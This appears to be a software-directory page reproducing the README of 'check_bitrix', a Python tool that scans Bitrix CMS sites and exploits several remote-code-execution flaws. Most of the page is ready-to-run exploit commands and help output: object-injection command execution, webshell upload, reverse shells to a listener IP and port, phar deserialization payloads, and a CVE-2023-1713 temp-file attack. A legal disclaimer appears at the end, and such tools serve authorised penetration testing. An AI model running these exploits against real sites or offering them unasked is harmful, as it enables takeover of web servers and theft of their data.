Baike.dev
All toolsOnline toolsAI codingTrendingOpen sourceNewsSubmit
Log in
< Back to tools
C

check_bitrix

> 编程语言
Open source

Check bitrix vulnerabilities

100 stars0 likes1 views
WebsiteGitHub

About

Check bitrix vulnerabilities

Table of Contents

Features

Usage

Running scan mode

Running RCE object injection

Running RCE vote

Running RCE vote using .htaccess

Running RCE vote phar deserialization

Running RCE via Insecure Temporary File Creation

Legal disclaimer

References

Features

This script scans common Bitrix vulnerabilities:

  • exposed login pages;
  • exposed register pages;
  • pages that contain errors;
  • admin panels;
  • content spoofing;
  • open redirect;
  • reflected xss;
  • stored xss via file upload (works only with Apache);
  • ssrf.

You can also separately check following RCE vulnerabilities:

  • object injection (RCE "html_editor_action")
  • vote (webshell, reverse shell, phar, .htaccess)
  • insecure temporary file creation (CVE-2023-1713).

(back to top)

Usage

bash
python3 test_bitrix.py -h

This will display help for the tool

…

Running scan mode

Scan common vulnerabilities

bash
python3 test_bitrix.py -t https://example.com scan -s http://subdomain.oastify.com

Display help for mode

bash
python3 test_bitrix.py scan -h
bash
usage: python3 test_bitrix.py scan [-h] -s SSRF_URL

options:
  -h, --help            show this help message and exit
  -s SSRF_URL, --ssrf_url SSRF_URL
                        url for ssrf attack (example: http://5kqki2fsl626q2257vy6xc2ef5lw9rxg.oastify.com)

Running RCE object injection

bash
python3 test_bitrix.py -t https://example.com object_injection -c 'whoami'

Display help for mode

bash
python3 test_bitrix.py object_injection -h
bash
usage: python3 test_bitrix.py object_injection [-h] [-f FUNCTION] -c COMMAND

options:
  -h, --help            show this help message and exit
  -f FUNCTION, --function FUNCTION
                        Used function
  -c COMMAND, --command COMMAND
                        Command for execution

Running RCE vote

Webshell

bash
python3 test_bitrix.py -t https://example.com rce_vote --web-shell true

Reverse shell

bash
python3 test_bitrix.py -t https://example.com rce_vote --lhost 192.168.1.1 --lport 8001

Display help for mode

bash
python3 test_bitrix.py rce_vote -h
bash
usage: python3 test_bitrix.py rce_vote [-h] [--id_agent ID_AGENT] [--lhost LHOST] [--lport LPORT] [--web-shell webshell] [--path path]

options:
  -h, --help            show this help message and exit
  --id_agent ID_AGENT   ID of vote module agent (2, 4 and 7 available)
  --lhost LHOST         IP address for reverse connection
  --lport LPORT         Port of the host that listens for reverse connection
  --web-shell webshell  Use web shell instead of console reverse shell
  --path path           Path where in the site to upload a random file (example: /upload/iblock/1d3/)

Running RCE vote using .htaccess

Prepare webshell page for a payload. The payload must not be .php. The webshell may be taken from here just save it as html

bash
python3 test_bitrix.py -t https://example.com vote_htaccess -p shell.html

Display help for mode

bash
python3 test_bitrix.py vote_htaccess -h
bash
usage: python3 test_bitrix.py vote_htaccess [-h] -p payload

options:
  -h, --help            show this help message and exit
  -p payload, --payload payload
                        Path to payload file

Running RCE vote phar deserialization

Generate phar payload file with php script

bash
php -d phar.readonly=0 gadgets.php rce1 system '' payload.phar

Use it as payload here

bash
python3 test_bitrix.py -t https://example.com vote_phar -p payload.phar

Display help for mode

bash
python3 test_bitrix.py vote_phar -h
bash
usage: python3 test_bitrix.py vote_phar [-h] -p payload

options:
  -h, --help            show this help message and exit
  -p payload, --payload payload
                        Path to payload file

Running RCE via Insecure Temporary File Creation

It works only with Apache. The .htaccess file is required to be present in the same directory as the Python3 exploit code. Get user credentials regardless of privileges. Point out the login page in the parameter -r, port of the host that listens for web connection --lport1, port of the host that listens for reverse shell connection --lport2

bash
python3 test_bitrix.py -t https://example.com tmp_file_create -r bitrix/components/bitrix/map.yandex.search/settings/settings.php?login=yes -l user -p 123456 --lhost 192.168.1.11 --lport1 8001 --lport2 9001

Create file cached-creds.txt in the same directory as the python script code, and write down PHPSESSID:sessid value, then run the command below

bash
python3 test_bitrix.py -t https://example.com tmp_file_create --lhost 192.168.1.11 --lport1 8001 --lport2 9001

Display help for mode

bash
python3 test_bitrix.py tmp_file_create -h
…

(back to top)

Legal disclaimer

Usage of this tool for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program.

(back to top)

References

  • Выйди и зайди нормально
  • Уязвимости и атаки на CMS Bitrix
  • Reflected XSS
  • Bitrix24 Stored Cross-Site Scripting (XSS) via Improper Input Neutralization on Invoice Edit Page
  • Bitrix24 Remote Command Execution (RCE) via Insecure Temporary File Creation

(back to top)

Issues· 3 open

View all issuesOpen on GitHub

No open issues yet, or sync has not completed.

> Tags

Python

No comments yet. Be the first to share.

> Details

PublishedAug 1, 2026
UpdatedSep 18, 2026
Category编程语言
PricingOpen source

> Related tools

T
TypeScript
JavaScript 的超集,为前端与全栈提供静态类型
P
Python
通用编程语言,广泛用于 Web、数据与 AI
G
Go
Google 推出的简洁高效系统语言